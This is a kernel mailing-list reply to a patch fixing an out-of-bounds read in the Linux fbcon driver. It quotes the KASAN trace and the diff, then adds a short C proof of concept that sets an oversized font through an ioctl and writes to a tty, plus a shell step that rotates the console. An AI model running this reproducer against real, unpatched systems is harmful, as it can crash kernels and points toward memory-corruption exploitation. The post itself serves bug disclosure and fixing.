Re: [RFC PATCH] fbcon: Fix out-of-bounds memory in fbcon_putcs

["chenjun (AM)" <chenjun102@huawei.com>]

在 2026/2/27 22:50, chenjun (AM) 写道:
> When a font is set on an invisible console, the screen will not update.
> However, the fontbuffer is not updated to match the new font dimensions.
> 
> This inconsistency leads to out-of-bounds memory access when writing to
> the tty bound to fbcon, as demonstrated by the following KASAN report:
> 
> BUG: KASAN: slab-out-of-bounds in fb_pad_aligned_buffer+0xdf/0x140
> Read of size 1 at addr ffff8881195a2280 by task a.out/971
> Call Trace:
>   <TASK>
>   fb_pad_aligned_buffer+0xdf/0x140
>   ud_putcs+0x88a/0xde0
>   fbcon_putcs+0x319/0x430
>   do_update_region+0x23c/0x3b0
>   do_con_write+0x225c/0x67f0
>   con_write+0xe/0x30
>   n_tty_write+0x4b5/0xff0
>   file_tty_write.isra.41+0x46c/0x880
>   vfs_write+0x868/0xd60
>   ksys_write+0xf2/0x1d0
>   do_syscall_64+0xfa/0x570
> 
> Fix this by calling fbcon_rotate_font() if vc is invisible in
> fbcon_do_set_font().
> 
> Signed-off-by: Chen Jun <chenjun102@huawei.com>
> ---
>   drivers/video/fbdev/core/fbcon.c | 5 +++++
>   1 file changed, 5 insertions(+)
> 
> diff --git a/drivers/video/fbdev/core/fbcon.c b/drivers/video/fbdev/core/fbcon.c
> index 666261ae59d8..d76100188bee 100644
> --- a/drivers/video/fbdev/core/fbcon.c
> +++ b/drivers/video/fbdev/core/fbcon.c
> @@ -2444,6 +2444,11 @@ static int fbcon_do_set_font(struct vc_data *vc, int w, int h, int charcount,
>   		rows = FBCON_SWAP(par->rotate, info->var.yres, info->var.xres);
>   		cols /= w;
>   		rows /= h;
> +		if (!con_is_visible(vc)) {
> +			ret = fbcon_rotate_font(info, vc);
> +			if (ret)
> +				goto err_out;
> +		}
>   		ret = vc_resize(vc, cols, rows);
>   		if (ret)
>   			goto err_out;
> 

There is a poc:
```
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>

#include <linux/capability.h>

char my_font_data[512 * 1 * 32 * 32];

struct console_font_op {
         unsigned int op;
         unsigned int flags;
         unsigned int width, height;
         unsigned int charcount;
         unsigned char *data;
};

void execute_one(void)
{
   int tty = open("/dev/tty2", O_APPEND|O_RDWR, 0);
   char buf[100] = {27, '#', '8', 0xa, 0x5, 0x5, 0x5, 0x5};
   struct console_font_op op = {
         .op = 0,
         .width = 32,
         .height = 32,
         .charcount = 512,
         .data = my_font_data,
   };

   ioctl(tty, 0x4B72, &op);
   write(tty, buf, 100);
}
int main(void)
{
   execute_one();
   return 0;
}
```
echo 2 > /sys/class/graphics/fbcon/rotate_all
./poc